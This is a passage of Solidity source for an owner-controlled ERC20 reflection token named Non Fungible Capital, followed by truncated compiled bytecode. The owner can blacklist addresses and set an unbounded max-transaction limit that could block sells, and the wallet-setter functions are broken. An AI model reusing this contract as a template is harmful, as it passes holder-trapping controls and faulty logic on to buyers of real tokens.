_tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; emit ExcludeFromFee(account); } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; emit IncludeInFee(account); } function excludeFromReflection(address account) public onlyOwner { require(!_isExcludedFromReflection[account], "Account is already excluded"); require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address."); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromReflection[account] = true; _excludedFromReflection.push(account); } function includeInReflection(address account) public onlyOwner { require(_isExcludedFromReflection[account], "Account is not excluded from reflection"); for (uint256 i = 0; i < _excludedFromReflection.length; i++) { if (_excludedFromReflection[i] == account) { _excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1]; _tOwned[account] = 0; _isExcludedFromReflection[account] = false; _excludedFromReflection.pop(); break; } } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_reflectionFee == 0 && _taxFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _reflectionFee = 0; _taxFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingActive) if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (!_isExcludedFromFee[from]) { require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _nfcAddress.transfer(amount.div(2)); _mktgAddress.transfer(amount.div(2)); } function manualSwap() external { require(_msgSender() == _nfcAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _nfcAddress || _msgSender() == _mktgAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 reflectionFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _reflectionFeeOnBuy = reflectionFeeOnBuy; _taxFeeOnBuy = taxFeeOnBuy; _reflectionFeeOnSell = reflectionFeeOnSell; _taxFeeOnSell = taxFeeOnSell; require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25, "Must keep buy taxes below 25%"); require(_reflectionFeeOnSell + _taxFeeOnSell <= 25, "Must keep buy taxes below 25%"); } // once enabled, can never be turned off function enableTrading() internal onlyOwner { tradingActive = true; } function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot relaunch."); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _transfer(msg.sender, wallet, amount); } enableTrading(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTxAmount(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTxAmount(address(uniswapV2Pair), true); return true; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set max transaction function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTxAmount[updAds] = isEx; } //set max wallet function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } //set wallet address function _setNFCAddress(address nfcAddress) external onlyOwner { require(_nfcAddress != address(0), "_nfcAddress cannot be 0"); _isExcludedFromFee[nfcAddress] = false; nfcAddress = payable(_nfcAddress); _isExcludedFromFee[nfcAddress] = true; emit UpdatedNfcAddress(_nfcAddress); } //set wallet address function _setMktgAddress(address mktgAddress) external onlyOwner { require(_mktgAddress != address(0), "_mktgAddress cannot be 0"); _isExcludedFromFee[mktgAddress] = false; mktgAddress = payable(_mktgAddress); _isExcludedFromFee[mktgAddress] = true; emit UpdatedMktgAddress(_mktgAddress); } }
0x60806040526004361061021c5760003560e01c806370a0823111610123578063bbc0c742116100ab578063ea1644d51161006f578063ea1644d5146107f0578063ea2f0b3714610819578063ec28438a14610842578063f2fde38b1461086b578063f42938901461089457610223565b8063bbc0c742146106f7578063bfd7928414610722578063cd7c1b721461075f578063dd62ed3e1461078a578063e755d0cf146107c757610223565b80638f9a55c0116100f25780638f9a55c01461061257806395d89b411461063d57806398a5c31514610668578063a2a957bb14610691578063a9059cbb146106ba57610223565b806370a082311461055657806378b4aa45146105935780637d1db4a5146105bc5780638da5cb5b146105e757610223565b80632fd689e3116101a657806351bc3c851161017557806351bc3c8514610473578063563912bd1461048a578063595cc84f146104c757806367243482146104f05780636b9990531461052d57610223565b80632fd689e3146103c9578063313ce567146103f4578063437823ec1461041f57806349bd5a5e1461044857610223565b8063095ea7b3116101ed578063095ea7b3146102d05780631694505e1461030d57806318160ddd1461033857806323b872dd1461036357806327334a08146103a057610223565b806286803414610228578062b8cf2a1461025357806305f82a451461027c57806306fdde03146102a557610223565b3661022357005b600080fd5b34801561023457600080fd5b5061023d6108ab565b60405161024a91906147dc565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190614235565b6108d1565b005b34801561028857600080fd5b506102a3600480360381019061029e91906140e0565b610a21565b005b3480156102b157600080fd5b506102ba610e08565b6040516102c79190614856565b60405180910390f35b3480156102dc57600080fd5b506102f760048036038101906102f291906141f9565b610e45565b6040516103049190614820565b60405180910390f35b34801561031957600080fd5b50610322610e63565b60405161032f919061483b565b60405180910390f35b34801561034457600080fd5b5061034d610e89565b60405161035a9190614b38565b60405180910390f35b34801561036f57600080fd5b5061038a6004803603810190610385919061416e565b610e9a565b6040516103979190614820565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906140e0565b610f73565b005b3480156103d557600080fd5b506103de61127c565b6040516103eb9190614b38565b60405180910390f35b34801561040057600080fd5b50610409611282565b6040516104169190614bad565b60405180910390f35b34801561042b57600080fd5b50610446600480360381019061044191906140e0565b61128b565b005b34801561045457600080fd5b5061045d6113b2565b60405161046a91906147a6565b60405180910390f35b34801561047f57600080fd5b506104886113d8565b005b34801561049657600080fd5b506104b160048036038101906104ac91906140e0565b611452565b6040516104be9190614820565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e991906141bd565b611472565b005b3480156104fc57600080fd5b5061051760048036038101906105129190614276565b611562565b6040516105249190614820565b60405180910390f35b34801561053957600080fd5b50610554600480360381019061054f91906140e0565b6119e6565b005b34801561056257600080fd5b5061057d600480360381019061057891906140e0565b611ad6565b60405161058a9190614b38565b60405180910390f35b34801561059f57600080fd5b506105ba60048036038101906105b591906140e0565b611b27565b005b3480156105c857600080fd5b506105d1611d7f565b6040516105de9190614b38565b60405180910390f35b3480156105f357600080fd5b506105fc611d85565b60405161060991906147a6565b60405180910390f35b34801561061e57600080fd5b50610627611dae565b6040516106349190614b38565b60405180910390f35b34801561064957600080fd5b50610652611db4565b60405161065f9190614856565b60405180910390f35b34801561067457600080fd5b5061068f600480360381019061068a91906142e2565b611df1565b005b34801561069d57600080fd5b506106b860048036038101906106b3919061430b565b611e90565b005b3480156106c657600080fd5b506106e160048036038101906106dc91906141f9565b611fed565b6040516106ee9190614820565b60405180910390f35b34801561070357600080fd5b5061070c61200b565b6040516107199190614820565b60405180910390f35b34801561072e57600080fd5b50610749600480360381019061074491906140e0565b61201e565b6040516107569190614820565b60405180910390f35b34801561076b57600080fd5b5061077461203e565b60405161078191906147dc565b60405180910390f35b34801561079657600080fd5b506107b160048036038101906107ac9190614132565b612064565b6040516107be9190614b38565b60405180910390f35b3480156107d357600080fd5b506107ee60048036038101906107e991906140e0565b6120eb565b005b3480156107fc57600080fd5b50610817600480360381019061081291906142e2565b612343565b005b34801561082557600080fd5b50610840600480360381019061083b91906140e0565b6123e2565b005b34801561084e57600080fd5b50610869600480360381019061086491906142e2565b612509565b005b34801561087757600080fd5b50610892600480360381019061088d91906140e0565b6125a8565b005b3480156108a057600080fd5b506108a961276a565b005b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108d961283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095d906149f8565b60405180910390fd5b60005b8151811015610a1d576001600b60008484815181106109b1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a1590614ee6565b915050610969565b5050565b610a2961283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad906149f8565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3990614ad8565b60405180910390fd5b60005b600880549050811015610e04578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610ba3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610df15760086001600880549050610bfe9190614d7b565b81548110610c35577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610c9a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480610db7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610e04565b8080610dfc90614ee6565b915050610b45565b5050565b60606040518060400160405280601481526020017f4e6f6e2046756e6769626c65204361706974616c000000000000000000000000815250905090565b6000610e59610e5261283b565b8484612843565b6001905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6000610ea7848484612a0e565b610f6884610eb361283b565b610f63856040518060600160405280602881526020016155f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f1961283b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132bd9092919063ffffffff16565b612843565b600190509392505050565b610f7b61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fff906149f8565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90614998565b60405180910390fd5b603260016008805490506110a99190614c9a565b11156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e190614af8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111be5761117a600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613321565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601a5481565b60006009905090565b61129361283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611320576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611317906149f8565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b62816040516113a791906147a6565b60405180910390a150565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661141961283b565b73ffffffffffffffffffffffffffffffffffffffff161461143957600080fd5b600061144430611ad6565b905061144f8161338f565b50565b60066020528060005260406000206000915054906101000a900460ff1681565b61147a61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fe906149f8565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061156c61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f0906149f8565b60405180910390fd5b601760169054906101000a900460ff1615611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090614ab8565b60405180910390fd5b60c883511061168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490614898565b60405180910390fd5b60005b83518110156117435760008482815181106116d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000848381518110611719577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151905061172e338383612a0e565b5050808061173b90614ee6565b915050611690565b5061174c613689565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050611770816001611472565b80601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117e730601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000612843565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561182d57600080fd5b505afa158015611841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118659190614109565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118c757600080fd5b505afa1580156118db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ff9190614109565b6040518363ffffffff1660e01b815260040161191c9291906147f7565b602060405180830381600087803b15801561193657600080fd5b505af115801561194a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196e9190614109565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119db601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611472565b600191505092915050565b6119ee61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a72906149f8565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611b20600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613321565b9050919050565b611b2f61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb3906149f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4590614a78565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fff253f8161a8bf4e705ff57ab65f6d0e47d025c620869a6316edc40a74b5c719601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611d7491906147c1565b60405180910390a150565b60185481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60195481565b60606040518060400160405280600381526020017f4e46430000000000000000000000000000000000000000000000000000000000815250905090565b611df961283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7d906149f8565b60405180910390fd5b80601a8190555050565b611e9861283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1c906149f8565b60405180910390fd5b83600c8190555081600d8190555082600e8190555080600f819055506019600d54600c54611f539190614c9a565b1115611f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8b90614b18565b60405180910390fd5b6019600f54600e54611fa69190614c9a565b1115611fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fde90614b18565b60405180910390fd5b50505050565b6000612001611ffa61283b565b8484612a0e565b6001905092915050565b601760169054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6120f361283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612180576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612177906149f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612212576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612209906148b8565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4aeacdf11926d26257f8e9ea6e9091947978ac978705e15835bf04f21f4fa69b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161233891906147c1565b60405180910390a150565b61234b61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cf906149f8565b60405180910390fd5b8060198190555050565b6123ea61283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246e906149f8565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e816040516124fe91906147a6565b60405180910390a150565b61251161283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461259e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612595906149f8565b60405180910390fd5b8060188190555050565b6125b061283b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461263d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612634906149f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156126ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a490614918565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166127ab61283b565b73ffffffffffffffffffffffffffffffffffffffff1614806128215750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661280961283b565b73ffffffffffffffffffffffffffffffffffffffff16145b61282a57600080fd5b60004790506128388161373b565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128aa90614a98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a90614938565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a019190614b38565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7590614a38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae590614878565b60405180910390fd5b60008111612b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2890614a18565b60405180910390fd5b612b39611d85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ba75750612b77611d85565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f2557601760169054906101000a900460ff16612e4857601760009054906101000a900473ffffffffffffffffffffffffffffffffff